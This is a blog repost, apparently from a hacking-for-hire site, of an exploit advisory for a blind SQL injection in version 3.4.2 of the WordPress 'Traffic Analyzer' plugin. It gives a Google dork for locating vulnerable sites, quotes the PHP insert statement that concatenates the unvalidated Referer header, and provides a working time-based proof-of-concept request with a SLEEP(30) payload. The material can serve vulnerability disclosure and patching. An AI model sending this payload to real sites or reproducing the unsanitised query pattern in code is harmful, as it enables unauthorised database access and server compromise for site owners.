Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86376079

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Wordpress plugin 'Traffic Analyzer' Blind SQL Injection
# Google Dork: inurl:/plugins/trafficanalyzer/js/
# Date: 4/7/2015
# Exploit Author: Dan King (@fuzztester)
# Vendor Homepage: http://wptrafficanalyzer.in/
# Software Link: https://wordpress.org/plugins/trafficanalyzer/
# Version: 3.4.2
# Tested on: Ubuntu 14.10 with Mysql and Wordpress 4.11

[+] Issue [+]

The Wordpress plugin "Traffic Analyzer" is vulnerable to a blind SQL injection vulnerability. The application does not properly validate input from the "Referer" HTTP header value.

[+] Impact [+]

This vulnerability would allow a remote attacker to access the database with the privleges configured by Wordpress. This could also lead to the attack gaining remote access to the webservers filesystem and further compromise the system hosting the Wordpress installation.

[+] Details [+]

The following section of PHP code is where the vulnerability exists. The $sql variable is a concatenated string intended on being used to insert data into the database. The the variable $referer is not checked for malicious data.

From 'class-TrafficAnalyzer.php' line number 297:

######################################################################################
$sql = " insert into $wpdb->prefix"."tanalyzer_pre ( hid,ip, script_name, user_agent, request_uri,resource_type,browser,resource,http_referer,wpta_cookie ) values ".
                                        " ('".$hid."'," .
                                        " '".$_SERVER["REMOTE_ADDR"]."', ".
                                        "'".$_SERVER['SCRIPT_NAME']."', " .
                                        " '".$_SERVER["HTTP_USER_AGENT"]."', ".
                                        " '". $_SERVER['REQUEST_URI']. "', ".
                                        " '".$resource_type."', " .
                                        " '".$browser."', " .
                                        " '".$resource ."', " .
                                        " '".$referer . "', " .
                                        " '".$this->wpta_cookie . "'" .
                                        " )";
###########################################################################################


[+] Proof of Concept [+]

Sending the following HTTP request to a vulnerable site will cause the request to be delayed for 30 seconds.

GET /[wordpress path]/ HTTP/1.1
Host: x.x.x.x
Referer: BLAH'||(SELECT 'Fdsf' FROM DUAL WHERE 5435=5435 and SLEEP(30) )||'